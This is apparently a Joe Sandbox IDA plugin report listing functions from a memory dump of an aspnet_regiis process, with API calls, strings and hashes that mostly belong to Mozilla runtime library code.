Opcode ID: 101a1cdd923d40e0bb818f8bc4ef1c94c67860c8164bfe4cdd0d0b3c2af45fab
Instruction ID: 3d360b7210752a7d3eadde5285749d55867da089339b6c8dba3f8ecad2021078
Opcode Fuzzy Hash: 101a1cdd923d40e0bb818f8bc4ef1c94c67860c8164bfe4cdd0d0b3c2af45fab
Instruction Fuzzy Hash: D0B1F6B1B0120A9BCB14CF94CA5ABEEBBB5BF95318F514529D4016BF80DB31E909CBD1

Function 6C7BC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7BC5A3
WideCharToMultiByte.KERNEL32 ref: 6C7BC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C7BC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C7BCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7BCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7BCAA5

Strings

0, xrefs: 6C7BD30A
(null), xrefs: 6C7BC596

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 055fcc5be3e914ba3d4ee96a12819413b03bbc51e64dd7feb807d73a93decf1a
Instruction ID: f2096fc9fa2625f0c1bb6b166f3aa7bbec5bf5100c6e6152790296d7ff3473e0
Opcode Fuzzy Hash: 055fcc5be3e914ba3d4ee96a12819413b03bbc51e64dd7feb807d73a93decf1a
Instruction Fuzzy Hash: F5A1BE706083428FDB10DF28C658B5ABBE1FF89749F08882DE999E7742D735D805CB92

Function 6C7BC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7BC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7BC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C7BC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C7BC891

Strings

nan, xrefs: 6C7BC7A8
inf, xrefs: 6C7BC78F
INF, xrefs: 6C7BC794
NAN, xrefs: 6C7BC7AD

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 5b7241043ed908665e870c8595995970d8c8a4e59917d51a6cf01e3eb7f7d970
Instruction ID: 0aa9d390b03ff304164d3e7f9924376408baf8bcd205ed426c1d9f1e132419e3
Opcode Fuzzy Hash: 5b7241043ed908665e870c8595995970d8c8a4e59917d51a6cf01e3eb7f7d970
Instruction Fuzzy Hash: F651A4706087808BD710DF2DC68569AFBF0BF9A349F008A2DE9D5A7651E770D988CB42

Function 6C793480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C793492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7934A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7934EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C79350E
__Init_thread_footer.LIBCMT ref: 6C793522
__aulldiv.LIBCMT ref: 6C793552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C79357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C793592

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

Strings

kernel32.dll, xrefs: 6C7934EA
GetSystemTimePreciseAsFileTime, xrefs: 6C793508

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: db4188aa938f5a8a655dc0245f766d5c41115697102f47f2980e6417f345c011
Instruction ID: 6ba2f47bbb3b7bcc473afbb8cf48a841a7088857fd2565d2d28547d075485447
Opcode Fuzzy Hash: db4188aa938f5a8a655dc0245f766d5c41115697102f47f2980e6417f345c011
Instruction Fuzzy Hash: 0A31B0B0B002079BDF20DFB5DA49AAA77F5FB59309F100439E505D3B50DB30A900CBA1

Function 6C794480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C7D4843,?), ref: 6C7945F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C7D4843,?), ref: 6C79468A
free.MOZGLUE(?,?,?,?,?,?,6C7D4843,?), ref: 6C7946C9
free.MOZGLUE(?), ref: 6C7946EF
free.MOZGLUE(?), ref: 6C794712
free.MOZGLUE(?), ref: 6C794735
free.MOZGLUE(?), ref: 6C794758
free.MOZGLUE(?), ref: 6C79477B
free.MOZGLUE(?), ref: 6C79479E

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: d49a6bb3c43cd2d8e24f57f8cbde39c7083861655b0eb536f3ff87f92f4cfce1
Instruction ID: 34697c7e0ab59ca8f9e19feeea48fdc045594e5b4f889d2357d0a79d7cdfe900
Opcode Fuzzy Hash: d49a6bb3c43cd2d8e24f57f8cbde39c7083861655b0eb536f3ff87f92f4cfce1
Instruction Fuzzy Hash: 6CB1F372A001108FDB18DE7CEE9876D77B6AF42328F184679E436DFB92D73098409B81

Function 6C7FAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C7FAC52
CreateFileMappingW.KERNEL32 ref: 6C7FAC7D
GetSystemInfo.KERNEL32 ref: 6C7FAC98
MapViewOfFile.KERNEL32 ref: 6C7FACB0
GetSystemInfo.KERNEL32 ref: 6C7FACCD
MapViewOfFile.KERNEL32 ref: 6C7FAD05
UnmapViewOfFile.KERNEL32 ref: 6C7FAD1C
CloseHandle.KERNEL32 ref: 6C7FAD28
UnmapViewOfFile.KERNEL32 ref: 6C7FAD37
CloseHandle.KERNEL32 ref: 6C7FAD43
CloseHandle.KERNEL32 ref: 6C7FAD67

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 45c219b8a0a300bbf8f03d7957d8243a6b66858b6d05360e9e256866320ab043
Instruction ID: df0144a9a4d24f138bee199134bf90cef9de784b4d04b5c53b03395a4b1a6dd0
Opcode Fuzzy Hash: 45c219b8a0a300bbf8f03d7957d8243a6b66858b6d05360e9e256866320ab043
Instruction Fuzzy Hash: 4C315EB1A047058FDB00AF78D68A26EBBF0BF85319F01493DE99987711EB709459CB92

Function 6C7A9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C7A9675
__Init_thread_footer.LIBCMT ref: 6C7A9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C7A96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C7A9707
__Init_thread_footer.LIBCMT ref: 6C7A971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9773

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C7A97B7
FreeLibrary.KERNEL32 ref: 6C7A97D0
FreeLibrary.KERNEL32 ref: 6C7A97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9824

Strings

ntdll.dll, xrefs: 6C7A96E3
MapViewOfFileNuma2, xrefs: 6C7A97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C7A9670
NtMapViewOfSection, xrefs: 6C7A9701

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 3afa18586eaba835a8cb8e2d542dcf5a08de4a1fadde65bf19af3d474b71bcc1
Instruction ID: 5269ea4fbd53356dfd8f57e232d3a5588fc57067972b460e7107073ecf6c8e7f
Opcode Fuzzy Hash: 3afa18586eaba835a8cb8e2d542dcf5a08de4a1fadde65bf19af3d474b71bcc1
Instruction Fuzzy Hash: 20418EB07042469BDF20CFA4DA89A9677F4EB6A328F004A38FD1587F40D730A815CBE1

Function 6C791E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E784), ref: 6C791EC1
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C791EE1
EnterCriticalSection.KERNEL32(6C81E744), ref: 6C791F38
LeaveCriticalSection.KERNEL32(6C81E744), ref: 6C791F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C791F83
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C791FC0
EnterCriticalSection.KERNEL32(6C81E784), ref: 6C791FE2
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C791FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C792019

Strings

MOZ_CRASH(), xrefs: 6C792000

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: a5e50e9e27c1e03915e09155dfc3c6a0a1c2bbf7df898bfa2bb7a8365d32f9a5
Instruction ID: 91c8a65df470d5b44ee7e15edf371fe360c5e2ce57a0f41cb257ba299b7634aa
Opcode Fuzzy Hash: a5e50e9e27c1e03915e09155dfc3c6a0a1c2bbf7df898bfa2bb7a8365d32f9a5
Instruction Fuzzy Hash: 3C41A3B1B0521B8FEB209FA8DA8DB6A3AF5EB4A348F040439E91597F41D7719804CBD1

Function 6C7A7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7A7EA7
malloc.MOZGLUE(00000001), ref: 6C7A7EB3

Part of subcall function 6C7ACAB0: EnterCriticalSection.KERNEL32(?), ref: 6C7ACB49
Part of subcall function 6C7ACAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C7ACBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C7A7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C7A7F19
malloc.MOZGLUE(?), ref: 6C7A7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7A7F4D

Strings

d, xrefs: 6C7A7F89

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: e3e1f6ff5b196cea1dfcc6692430fd62e9c96408668ec85b9993064d3da83bb7
Instruction ID: 813e90b7c6491e6a3431cb1bf7ae046c3bb32667672016e2e596edca5005d6ba
Opcode Fuzzy Hash: e3e1f6ff5b196cea1dfcc6692430fd62e9c96408668ec85b9993064d3da83bb7
Instruction Fuzzy Hash: D231C461F002499BDB109B68CD095BEB7B8EF96208F059739EC4957612EB31B689C391

Function 6C7A3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C7A3EEE
RtlFreeHeap.NTDLL ref: 6C7A3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C7A4006
RtlFreeHeap.NTDLL ref: 6C7A40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A40C2
RtlFreeHeap.NTDLL ref: 6C7A4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C7A3CCC), ref: 6C7A4157

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 1e776c4786d7bec3a09d2326e2341cee1a4d82103bf8e57a08c65455e9928120
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 85A182B1A00205CFDB50CF69C98065AB7B5FF48304F2546A9D9099F742D772E846DFA0

Function 6C792030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C7B3F47,?,?,?,6C7B3F47,6C7B1A70,?), ref: 6C79207F
memset.VCRUNTIME140(?,000000E5,6C7B3F47,?,6C7B3F47,6C7B1A70,?), ref: 6C7920DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C7B3F47,6C7B1A70,?), ref: 6C79211A
EnterCriticalSection.KERNEL32(6C81E744,?,6C7B3F47,6C7B1A70,?), ref: 6C792145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C7B3F47,6C7B1A70,?), ref: 6C7921BA
EnterCriticalSection.KERNEL32(6C81E744,?,6C7B3F47,6C7B1A70,?), ref: 6C7921E0
LeaveCriticalSection.KERNEL32(6C81E744,?,6C7B3F47,6C7B1A70,?), ref: 6C792232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C792253, 6C792268
MOZ_CRASH(), xrefs: 6C79227D

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 7613a0c6b995fdde78b2c16c5f486d07db460d0b8fd6fd3c0ef65742cc6046e7
Instruction ID: ad8e5daf59103e670fc63bc2ab1a58ca3416bd29a5485e7876a08150a99047a8
Opcode Fuzzy Hash: 7613a0c6b995fdde78b2c16c5f486d07db460d0b8fd6fd3c0ef65742cc6046e7
Instruction Fuzzy Hash: 8F61E131F002168FDB14EFA8DA8DB6E77B5AF85358F294639E524A7F94D7309800C791

Function 6C7E9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7E8273), ref: 6C7E9D65
free.MOZGLUE(6C7E8273,?), ref: 6C7E9D7C
free.MOZGLUE(?,?), ref: 6C7E9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7E9E0F
free.MOZGLUE(6C7E946B,?,?), ref: 6C7E9E24
free.MOZGLUE(?,?,?), ref: 6C7E9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C7E9EC8
free.MOZGLUE(6C7E946B,?,?,?), ref: 6C7E9EDF
free.MOZGLUE(?,?,?,?), ref: 6C7E9EF5

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 16d8a759fb3d30c58bb252be392927a4d0961ae94e4520fd79334bcdecf60004
Instruction ID: 65a57885e2bf40bcf5127c0f9e93634c2fd9ecfb58726c1894b816052bc6b298
Opcode Fuzzy Hash: 16d8a759fb3d30c58bb252be392927a4d0961ae94e4520fd79334bcdecf60004
Instruction Fuzzy Hash: 9471B072909B419BC712CF18D64059BF3F9FFA9314B448619E95A5BB01EB30F885CBC1

Function 6C7EDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C7EDDCF

Part of subcall function 6C7CFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7CFA4B

Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E90FF
Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDE0D
free.MOZGLUE(00000000), ref: 6C7EDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7EDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C7DDEFD,?,6C7A4A68), ref: 6C7EDF32

Part of subcall function 6C7EDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7EDB86
Part of subcall function 6C7EDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7EDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C7DDEFD,?,6C7A4A68), ref: 6C7EDF65
free.MOZGLUE(?), ref: 6C7EDF80

Part of subcall function 6C7B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7B5EDB
Part of subcall function 6C7B5E90: memset.VCRUNTIME140(6C7F7765,000000E5,55CCCCCC), ref: 6C7B5F27
Part of subcall function 6C7B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7B5FB2

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: fb05569388eaffbb3f80310cc3f7cd8f03c607b7fa1084dfa2050c87f2120ef3
Instruction ID: d7a9d308d690662bb5c6fc289e0ffc79a18f5098d11f3b6ace9a55b2095a1597
Opcode Fuzzy Hash: fb05569388eaffbb3f80310cc3f7cd8f03c607b7fa1084dfa2050c87f2120ef3
Instruction Fuzzy Hash: BC51C7736016019BD721CB28DA886AE73BABFE9308F95053CD81A57B01D731F919CBC6

Function 6C7F5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5DC9
std::_Facet_Register.LIBCPMT ref: 6C7F5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C7F5C8C,?,6C7CE829), ref: 6C7F5E45

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

